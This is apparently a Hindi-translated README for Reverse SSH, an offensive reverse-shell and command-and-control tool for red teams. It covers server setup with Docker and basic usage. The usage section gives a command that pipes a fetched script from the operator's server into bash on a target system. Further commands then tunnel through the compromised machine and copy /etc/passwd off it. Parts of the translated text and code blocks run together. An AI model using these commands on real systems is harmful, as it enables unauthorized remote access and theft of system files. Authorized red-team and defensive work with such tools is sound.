
SSH-आधारित रिवर्स शेल प्रबंधन उपकरण जिसमें मूल SCP/SFTP समर्थन, एकाधिक ट्रांसपोर्ट प्रोटोकॉल, Windows DLL जनरेशन, और रेड टीम संचालन के लिए फाइललेस निष्पादन शामिल है।

(कला श्रेय: https://www.instagram.com/smart.hedgehog.art/)
रिवर्स शेल के लिए SSH का उपयोग करना चाहते हैं? अब आप कर सकते हैं।
SCP और SFTP कार्यान्वयनhttp, websockets, tls और अधिकhttps://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1
- [रिवर्स SSH](#reverse-ssh)
- [TL;DR](#tldr)
- [सेटअप](#setup)
- [मूल उपयोग](#basic-usage)
- [प्रायोजक](#sponsors)
- [व्यक्ति](#individuals)
- [कंपनियाँ](#companies)
- [फैंसी विशेषताएँ](#fancy-features)
- [विशेषाधिकार](#privileges)
- [स्वचालित कनेक्ट-बैक](#automatic-connect-back)
- [रिवर्स शेल डाउनलोड (क्लाइंट जनरेशन और अंतर्निहित HTTP सर्वर)](#reverse-shell-download-client-generation-and-in-built-http-server)
- [वैकल्पिक ट्रांसपोर्ट (HTTP/Websockets/TLS)](#alternate-transports-httpwebsocketstls)
- [Bash ऑटोकम्प्लीट](#bash-autocomplete)
- [Windows DLL उत्पादन](#windows-dll-generation)
- [SSH उपप्रणालियाँ](#ssh-subsystems)
- [सभी](#all)
- [Linux](#linux)
- [Windows](#windows)
- [Windows सेवा एकीकरण](#windows-service-integration)
- [पूर्ण Windows शेल समर्थन](#full-windows-shell-support)
- [वेबहुक](#webhooks)
- [Tun (VPN)](#tun-vpn)
- [फाइललेस निष्पादन (क्लाइंट शेल के रूप में निष्पादित करने के लिए डायनामिक रूप से निष्पादन योग्य डाउनलोड करने का समर्थन करते हैं)](#fileless-execution-clients-support-dynamically-downloading-executables-to-execute-as-shell)
- [समर्थित URI योजनाएँ](#supported-uri-schemes)
- [सहायता](#help)
- [विंडोज़](#windows-help)
- [SFTP](#windows-and-sftp)
- [सत्र स्पॉन त्रुटियाँ (0xc0000142)](#session-spawn-errors-0xc0000142)
- [`--insecure` के साथ शुरू किए गए सर्वर में अभी भी `Failed to handshake` है](#server-started-with---insecure-still-has-failed-to-handshake)
- [अग्रभूमि बनाम पृष्ठभूमि](#foreground-vs-background)
- [दान, समर्थन, या बदले में देना](#donations-support-or-giving-back)
## TL;DR
### सेटअप
डॉकर रिलीज़ की अनुशंसा की जाती है क्योंकि इसमें golang का सही संस्करण और विंडोज के लिए क्रॉस कंपाइलर शामिल है।```sh
# Start the server
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="$(cat ~/.ssh/id_ed25519.pub)" -v ./data:/data reversessh/reverse_ssh
या docker compose:```yaml services: reversessh: image: reversessh/reverse_ssh ports: - "3232:2222" environment: - EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 - RSSH_CONSOLE_LABEL=c2.label - RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL - SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY} volumes: - ./data:/data
### मूल उपयोग```sh
# Connect to the server console
ssh your.rssh.server.internal -p 3232
# List all server console commands
catcher$ help
# Build a new client and host it on the in-built webserver
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25
# curl or wget this binary to a target system then execute it,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh | bash
# then we can then list what clients are connected
catcher$ ls
Targets
+------------------------------------------+-----------------------------------+
| IDs | Version |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 | |
| dummy.machine | |
| 192.168.0.11:34542 | |
+------------------------------------------+-----------------------------------+
सभी कमांड सहायता प्रदान करने के लिए -h फ़्लैग का समर्थन करते हैं।
फिर सामान्य ssh कमांड काम करते हैं, बस अपने rssh सर्वर को एक जंप होस्ट के रूप में निर्दिष्ट करें।```sh
ssh -J your.rssh.server.internal:3232 dummy.machine
ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine
ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine
scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd .
## प्रायोजक
निम्नलिखित लोगों को RSSH परियोजना में योगदान देने और यह सब संभव बनाने के लिए हार्दिक धन्यवाद!
### व्यक्तिगत
[chikamobina](https://github.com/chikamobina) उनके उदार दान के लिए!
[wrighterase (ctrlzero)](https://github.com/wrighterase) उनके पुल रिक्वेस्ट और दान के लिए!
### कंपनियाँ
[Carapace](https://carapace.nz/) एक न्यूज़ीलैंड स्थित सुरक्षा परामर्श कंपनी है जिसमें अत्यधिक प्रतिभाशाली टीम है!
[<img src="https://assets.kitploit.com/production/public/readmes/5627/b077b138b5108d69a3bcb10eea9d5f195914c9fb4653689923b3a10a1ee38a64.png">](https://carapace.nz/)
## फैंसी विशेषताएँ
### विशेषाधिकार
RSSH सर्वर बहुत बुनियादी उपयोगकर्ता विशेषाधिकारों का समर्थन करता है, जहाँ `data-directory`/`keys` (द्वारा निर्दिष्ट `--datadir`) फ़ोल्डर में पाए जाने वाले उपयोगकर्ता, उदा. `data-directory/keys/jim`, को "उपयोगकर्ता" के रूप में नियुक्त किया जाएगा जो केवल उन ग्राहकों को देख सकता है जो सार्वजनिक हैं (फ़ाइल `authorized_controllee_keys` में बिना `owners` टैग के, या खाली `owners` टैग के) या विशेष रूप से उन्हें असाइन किए गए हैं, उदा. `owners="jim"`।
इसे रन टाइम पर बदला जा सकता है किसी उपयोगकर्ता द्वारा जो उनके स्वामित्व वाले क्लाइंट तक पहुँच साझा करता है `access` कमांड के माध्यम से, या सर्वर व्यवस्थापक द्वारा। डिफ़ॉल्ट रूप से, `authorized_keys` फ़ाइल में पाई जाने वाली कोई भी सार्वजनिक कुंजी पिछड़ी संगतता बनाए रखने के लिए व्यवस्थापक के रूप में चिह्नित की जाएगी।
`access` कमांड द्वारा किए गए किसी भी परिवर्तन सर्वर रीबूट पर बने नहीं रहेंगे, और इसके लिए उस विशिष्ट क्लाइंट के लिए `authorized_controllee_keys` फ़ाइल को संपादित करने की आवश्यकता होगी।
### स्वचालित वापस-कनेक्ट
rssh क्लाइंट आपको कनेक्ट-बैक पता बनाने की अनुमति देता है।
डिफ़ॉल्ट रूप से, `link` कमांड सर्वर के बाहरी पते को सम्मिलित करेगा।